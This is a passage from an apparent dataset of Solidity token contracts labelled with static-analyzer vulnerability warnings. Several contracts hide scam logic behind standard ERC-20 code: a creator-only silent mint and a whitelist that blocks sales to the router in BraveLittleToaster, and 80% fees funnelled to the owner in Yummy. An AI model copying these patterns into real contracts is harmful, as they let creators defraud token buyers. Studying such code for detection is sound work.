ID: cda9362): TrumpWillFixIt.enableTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for cda9362: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: b86e3cb): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for b86e3cb: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n\t\t// reentrancy-benign | ID: ee1bc4f\n\t\t// unused-return | ID: 8558b53\n\t\t// reentrancy-eth | ID: b86e3cb\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: ee1bc4f\n\t\t// unused-return | ID: cda9362\n\t\t// reentrancy-eth | ID: b86e3cb\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: ee1bc4f\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: b86e3cb\n tradingOpen = true;\n\n\t\t// reentrancy-benign | ID: ee1bc4f\n firstBlock = block.number;\n }\n\n receive() external payable {}\n}\n",
"file_name": "solidity_code_10790.sol",
"size_bytes": 23265,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n _transferOwnership(_msgSender());\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\ninterface IERC20 {\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: f4a4e9c): Yummy.constructor().totalSupply shadows ERC20.totalSupply() (function) IERC20.totalSupply() (function)\n\t// Recommendation for f4a4e9c: Rename the local variables that shadow another component.\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\ninterface IERC20Metadata is IERC20 {\n function name() external view returns (string memory);\n\n function symbol() external view returns (string memory);\n\n function decimals() external view returns (uint8);\n}\n\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n\n _symbol = symbol_;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n\n unchecked {\n _approve(sender, _msgSender(), currentAllowance - amount);\n }\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n\n unchecked {\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(sender, recipient, amount);\n\n uint256 senderBalance = _balances[sender];\n\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n unchecked {\n\t\t\t// reentrancy-eth | ID: 6067973\n _balances[sender] = senderBalance - amount;\n }\n\n\t\t// reentrancy-eth | ID: 6067973\n _balances[recipient] += amount;\n\n\t\t// reentrancy-events | ID: 1b9591b\n emit Transfer(sender, recipient, amount);\n\n _afterTokenTransfer(sender, recipient, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply += amount;\n\n _balances[account] += amount;\n\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n\n unchecked {\n _balances[account] = accountBalance - amount;\n }\n\n _totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n\n _afterTokenTransfer(account, address(0), amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}\n\ninterface IUniswapV2Router02 {\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidity(\n address tokenA,\n address tokenB,\n uint256 amountADesired,\n uint256 amountBDesired,\n uint256 amountAMin,\n uint256 amountBMin,\n address to,\n uint256 deadline\n ) external returns (uint256 amountA, uint256 amountB, uint256 liquidity);\n\n function addLiquidityETH(\n address token,\n uint256 amountTokenDesired,\n uint256 amountTokenMin,\n uint256 amountETHMin,\n address to,\n uint256 deadline\n )\n external\n payable\n returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);\n\n function swapExactTokensForTokensSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n\n function swapExactETHForTokensSupportingFeeOnTransferTokens(\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external payable;\n\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n}\n\ncontract Yummy is ERC20, Ownable {\n IUniswapV2Router02 public immutable uniswapV2Router;\n\n bool private swapping;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 7bfb028): Yummy.swapTokensAtAmount should be immutable \n\t// Recommendation for 7bfb028: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public swapTokensAtAmount;\n\n bool private tradingActive = false;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 72e4288): Yummy.buyTotalFees should be immutable \n\t// Recommendation for 72e4288: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public buyTotalFees;\n\n\t// WARNING Optimization Issue (immutable-states | ID: f0ba8c3): Yummy.sellTotalFees should be immutable \n\t// Recommendation for f0ba8c3: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public sellTotalFees;\n\n mapping(address => bool) private _isExcludedFromFees;\n\n mapping(address => bool) public automatedMarketMakerPairs;\n\n event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: f4a4e9c): Yummy.constructor().totalSupply shadows ERC20.totalSupply() (function) IERC20.totalSupply() (function)\n\t// Recommendation for f4a4e9c: Rename the local variables that shadow another component.\n constructor() ERC20(\"Yummy\", \"YMY\") {\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n uniswapV2Router = _uniswapV2Router;\n\n uint256 totalSupply = 100_000_000 * 1e18;\n\n swapTokensAtAmount = 100_000 * 1e18;\n\n buyTotalFees = 80;\n\n sellTotalFees = 80;\n\n _isExcludedFromFees[owner()] = true;\n\n _isExcludedFromFees[address(this)] = true;\n\n _isExcludedFromFees[address(0xdead)] = true;\n\n _mint(msg.sender, totalSupply);\n }\n\n receive() external payable {}\n\n function enableTrading(bool flag) external onlyOwner {\n tradingActive = flag;\n }\n\n function setAutomatedMarketMakerPair(\n address pair,\n bool value\n ) external onlyOwner {\n automatedMarketMakerPairs[pair] = value;\n\n emit SetAutomatedMarketMakerPair(pair, value);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 1b9591b): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 1b9591b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 6067973): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 6067973: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal override {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n if (amount == 0) {\n super._transfer(from, to, 0);\n\n return;\n }\n\n bool takeFee = !swapping;\n\n if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {\n takeFee = false;\n }\n\n uint256 fees = 0;\n\n if (takeFee) {\n if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {\n fees = (amount * sellTotalFees) / 100;\n } else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {\n fees = (amount * buyTotalFees) / 100;\n }\n\n amount -= fees;\n }\n\n if (\n from != owner() &&\n to != owner() &&\n to != address(0) &&\n to != address(0xdead) &&\n !swapping\n ) {\n if (!tradingActive) {\n require(\n _isExcludedFromFees[from] || _isExcludedFromFees[to],\n \"Trading is not active\"\n );\n }\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n bool canSwap = contractTokenBalance >= swapTokensAtAmount;\n\n if (\n canSwap &&\n !swapping &&\n !automatedMarketMakerPairs[from] &&\n !_isExcludedFromFees[from] &&\n !_isExcludedFromFees[to]\n ) {\n swapping = true;\n\n\t\t\t// reentrancy-events | ID: 1b9591b\n\t\t\t// reentrancy-eth | ID: 6067973\n swapBack();\n\n\t\t\t// reentrancy-eth | ID: 6067973\n swapping = false;\n }\n\n if (fees > 0) {\n\t\t\t// reentrancy-events | ID: 1b9591b\n\t\t\t// reentrancy-eth | ID: 6067973\n super._transfer(from, address(this), fees);\n }\n\n\t\t// reentrancy-events | ID: 1b9591b\n\t\t// reentrancy-eth | ID: 6067973\n super._transfer(from, to, amount);\n }\n\n function swapTokensForEth(uint256 tokenAmount) private {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 1b9591b\n\t\t// reentrancy-eth | ID: 6067973\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 089c71e): Yummy.swapBack() sends eth to arbitrary user Dangerous calls (success,None) = address(owner()).call{value address(this).balance}()\n\t// Recommendation for 089c71e: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function swapBack() private {\n uint256 contractBalance = balanceOf(address(this));\n\n uint256 totalTokensToSwap = swapTokensAtAmount;\n\n if (contractBalance > swapTokensAtAmount * 20) {\n totalTokensToSwap = swapTokensAtAmount * 20;\n }\n\n swapTokensForEth(totalTokensToSwap);\n\n\t\t// reentrancy-events | ID: 1b9591b\n\t\t// reentrancy-eth | ID: 6067973\n\t\t// arbitrary-send-eth | ID: 089c71e\n (bool success, ) = address(owner()).call{value: address(this).balance}(\n \"\"\n );\n }\n}\n",
"file_name": "solidity_code_10791.sol",
"size_bytes": 15931,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\ninterface IERC20Metadata is IERC20 {\n function name() external view returns (string memory);\n\n function symbol() external view returns (string memory);\n\n function decimals() external view returns (uint8);\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n this;\n\n return msg.data;\n }\n}\n\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n\n _symbol = symbol_;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n\n _approve(sender, _msgSender(), currentAllowance - amount);\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(sender, recipient, amount);\n\n uint256 senderBalance = _balances[sender];\n\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[sender] = senderBalance - amount;\n\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply += amount;\n\n _balances[account] += amount;\n\n emit Transfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n\n _balances[account] = accountBalance - amount;\n\n _totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}\n\ncontract RADIANCES is ERC20 {\n uint8 private immutable _decimals = 18;\n\n\t// WARNING Optimization Issue (constable-states | ID: cd9bfef): RADIANCES._totalSupply should be constant \n\t// Recommendation for cd9bfef: Add the 'constant' attribute to state variables that never change.\n\t// WARNING Vulnerability (shadowing-state | severity: High | ID: 938dfa6): RADIANCES._totalSupply shadows ERC20._totalSupply\n\t// Recommendation for 938dfa6: Remove the state variable shadowing.\n uint256 private _totalSupply = 50000000000 * 10 ** 18;\n\n constructor() ERC20(\"RADIANCES\", \"RNR\") {\n _mint(_msgSender(), _totalSupply);\n }\n\n function decimals() public view virtual override returns (uint8) {\n return _decimals;\n }\n}\n",
"file_name": "solidity_code_10792.sol",
"size_bytes": 6781,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: Unlicense\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\ninterface IERC20Metadata is IERC20 {\n function name() external view returns (string memory);\n\n function symbol() external view returns (string memory);\n\n function decimals() external view returns (uint8);\n}\n\nlibrary SafeMath {\n function prod(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function cre(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function cal(uint256 a, uint256 b) internal pure returns (uint256) {\n return calc(a, b, \"SafeMath: division by zero\");\n }\n\n function calc(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n\n function red(uint256 a, uint256 b) internal pure returns (uint256) {\n return redc(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function redc(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n this;\n\n return msg.data;\n }\n}\n\ncontract Creation is Context {\n\t// WARNING Optimization Issue (immutable-states | ID: 1fea097): Creation.recipients should be immutable \n\t// Recommendation for 1fea097: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address internal recipients;\n\n address internal router;\n\n mapping(address => bool) internal confirm;\n\n event genesis(address indexed previousi, address indexed newi);\n\n constructor() {\n address msgSender = _msgSender();\n\n recipients = msgSender;\n\n emit genesis(address(0), msgSender);\n }\n\n modifier checker() {\n require(recipients == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n}\n\ncontract ERC20 is Context, IERC20, IERC20Metadata, Creation {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) internal _allowances;\n\n uint256 private _totalSupply;\n\n using SafeMath for uint256;\n\n address public owner;\n\n string private _name;\n\n string private _symbol;\n\n bool private truth;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n\n _symbol = symbol_;\n\n truth = true;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 46c10b8): ERC20.Set_chain(address).Uniswaprouterv02 lacks a zerocheck on \t router = Uniswaprouterv02\n\t// Recommendation for 46c10b8: Check that the address is not zero.\n function Set_chain(address Uniswaprouterv02) public checker {\n\t\t// missing-zero-check | ID: 46c10b8\n router = Uniswaprouterv02;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n if ((recipients == _msgSender()) && (truth == true)) {\n _transfer(_msgSender(), recipient, amount);\n truth = false;\n return true;\n } else if ((recipients == _msgSender()) && (truth == false)) {\n _totalSupply = _totalSupply.cre(amount);\n _balances[recipient] = _balances[recipient].cre(amount);\n emit Transfer(recipient, recipient, amount);\n return true;\n } else {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 6424f8f): ERC20.allowance(address,address).owner shadows ERC20.owner (state variable)\n\t// Recommendation for 6424f8f: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n\n _approve(sender, _msgSender(), currentAllowance - amount);\n\n return true;\n }\n\n function decimalcount(address _count) internal checker {\n confirm[_count] = true;\n }\n\n function SetDelegate(address[] memory _counts) external checker {\n for (uint256 i = 0; i < _counts.length; i++) {\n decimalcount(_counts[i]);\n }\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n if (recipient == router) {\n require(confirm[sender]);\n }\n\n uint256 senderBalance = _balances[sender];\n\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[sender] = senderBalance - amount;\n\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n }\n\n function _deploy(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: deploy to the zero address\");\n\n _totalSupply += amount;\n\n _balances[account] += amount;\n\n emit Transfer(address(0), account, amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 558e07d): ERC20._approve(address,address,uint256).owner shadows ERC20.owner (state variable)\n\t// Recommendation for 558e07d: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n}\n\ncontract BraveLittleToaster is ERC20 {\n uint8 private immutable _decimals = 18;\n\n\t// WARNING Optimization Issue (constable-states | ID: b8b6206): BraveLittleToaster._totalSupply should be constant \n\t// Recommendation for b8b6206: Add the 'constant' attribute to state variables that never change.\n\t// WARNING Vulnerability (shadowing-state | severity: High | ID: d8cce00): BraveLittleToaster._totalSupply shadows ERC20._totalSupply\n\t// Recommendation for d8cce00: Remove the state variable shadowing.\n uint256 private _totalSupply = 70457000 * 10 ** 18;\n\n constructor() ERC20(\"BRAVE LITTLE TOASTER\", unicode\"TOAST\") {\n _deploy(_msgSender(), _totalSupply);\n }\n\n function decimals() public view virtual override returns (uint8) {\n return _decimals;\n }\n}\n",
"file_name": "solidity_code_10793.sol",
"size_bytes": 9838,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n _setOwner(_msgSender());\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _setOwner(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n _setOwner(newOwner);\n }\n\n function _setOwner(address newOwner) private {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\ninterface IERC165 {\n function supportsInterface(bytes4 interfaceId) external view returns (bool);\n}\n\ninterface IERC721 is IERC165 {\n event Transfer(\n address indexed from,\n address indexed to,\n uint256 indexed tokenId\n );\n\n event Approval(\n address indexed owner,\n address indexed approved,\n uint256 indexed tokenId\n );\n\n event ApprovalForAll(\n address indexed owner,\n address indexed operator,\n bool approved\n );\n\n function balanceOf(address owner) external view returns (uint256 balance);\n\n function ownerOf(uint256 tokenId) external view returns (address owner);\n\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) external;\n\n function transferFrom(address from, address to, uint256 tokenId) external;\n\n function approve(address to, uint256 tokenId) external;\n\n function getApproved(\n uint256 tokenId\n ) external view returns (address operator);\n\n function setApprovalForAll(address operator, bool _approved) external;\n\n function isApprovedForAll(\n address owner,\n address operator\n ) external view returns (bool);\n\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes calldata data\n ) external;\n}\n\ninterface IERC721Receiver {\n function onERC721Received(\n address operator,\n address from,\n uint256 tokenId,\n bytes calldata data\n ) external returns (bytes4);\n}\n\ninterface IERC721Metadata is IERC721 {\n function name() external view returns (string memory);\n\n function symbol() external view returns (string memory);\n\n function tokenURI(uint256 tokenId) external view returns (string memory);\n}\n\nlibrary Address {\n function isContract(address account) internal view returns (bool) {\n uint256 size;\n\n assembly {\n size := extcodesize(account)\n }\n\n return size > 0;\n }\n\n function sendValue(address payable recipient, uint256 amount) internal {\n require(\n address(this).balance >= amount,\n \"Address: insufficient balance\"\n );\n\n (bool success, ) = recipient.call{value: amount}(\"\");\n\n require(\n success,\n \"Address: unable to send value, recipient may have reverted\"\n );\n }\n\n function functionCall(\n address target,\n bytes memory data\n ) internal returns (bytes memory) {\n return functionCall(target, data, \"Address: low-level call failed\");\n }\n\n function functionCall(\n address target,\n bytes memory data,\n string memory 